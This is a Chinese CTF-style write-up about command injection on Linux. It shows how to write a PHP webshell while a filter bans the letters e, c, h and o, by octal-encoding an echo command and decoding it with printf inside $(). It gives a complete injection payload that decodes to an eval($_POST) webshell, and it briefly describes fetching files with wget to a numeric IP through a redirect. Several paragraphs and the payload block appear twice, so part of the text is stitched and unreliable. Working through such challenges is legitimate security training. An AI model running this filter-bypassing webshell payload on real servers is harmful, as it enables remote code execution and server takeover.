一道有趣的CTF题:Linux系统的命令注入 作者:黑小子

前天无聊yy想出的蛋疼题,写一写其中一种解法。

这道CTF题的题目是:

目标是Linux系统的命令注入,要求必须用echo命令写Webshell,但不能出现e、c、h、o这四个字符,cat、tee、wget、curl、less、more这些带有关键字的都不行。

核心点是必须用echo,而且不能出现关键字,这样使用zTrix阿里安全峰会演讲中的技巧就不行了。

而且写PHP Webshell的话,也是需要用到h的。

echo ''>> index.*

也可以这样写,但要开启短标签。

所以第一想到的是通过编码,base64肯定是不行的,那如果是八进制呢? (十六进制也行哦,但可能会包含E和C)

八进制数的基数是8,采用0到7八个数字。

十六进制数的基数是16,采用的数码是0到9和A到F。

八进制里面不会包含关键字,先尝试一下编码echo命令,然后使用printf进行解码。

\

bingo,成功把echo拿出来,那么接下来就很简单了吧,把整条写Webshell语句拿出来然后用$()执行。

echo ""> shell.php

转换为八进制是

\145\143\150\157\40\42\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76\42\40\76\40\163\150\145\154\154\56\160\150\160

$() 这种写法是会优先执行括号里的内容,用来执行解码后的内容,然后图样图森破,echo的确被成功执行,但也把后面的内容全输出出来了,并没有写入。

$(printf "\151\144")这样也能执行,不懂这里为什么会这样,是重定向的原因吗?求指教。

\

很尴尬,不过换成这样写就行了,先构造出来echo语句,然后重定向符放到外面,再利用通配符写入。

但在测试的时候,又会发现问题,“ * ” 并没有被当作通配符去解释,一开始以为是system()的问题,但换成exec(),shell_exec() 等可以执行命令的函数也都不行,不懂了,求指教。

\

办法总是有的,完美的Payload如下:

vul=;$(printf "\145\143\150\157\40\42\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76\42")>>`ls t*.*`

$() 这种写法是会优先执行括号里的内容,用来执行解码后的内容,然后图样图森破,echo的确被成功执行,但也把后面的内容全输出出来了,并没有写入。

$(printf "\151\144")这样也能执行,不懂这里为什么会这样,是重定向的原因吗?求指教。

\

办法总是有的,完美的Payload如下:

vul=;$(printf "\145\143\150\157\40\42\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76\42")>>`ls t*.*`

使用上顿号执行一下,先构造出文件名

\

至此,不用e,c、h、o 这四个字符执行echo命令并写入Webshell就搞定啦~

\

实战中这种蛋疼环境不可能遇到,即使遇到不能执行echo命令,相信各位也会有一百种Getshell的方法,过滤 > `` "" \\ $(). 等一系列特殊字符,还可以wget 2130706433(IP的数字地址)302跳转到ftp服务器自动下载。

总之姿势有很多,正是有这种不断摸索,自己做限制然后去突破才有进步,不是吗? :) 哦,过程中遇到的两处问题还会继续把它整明白。

2017.03.04
来源:www.antivirus-china.org.cn
0
热门推荐 更多
热点新闻 更多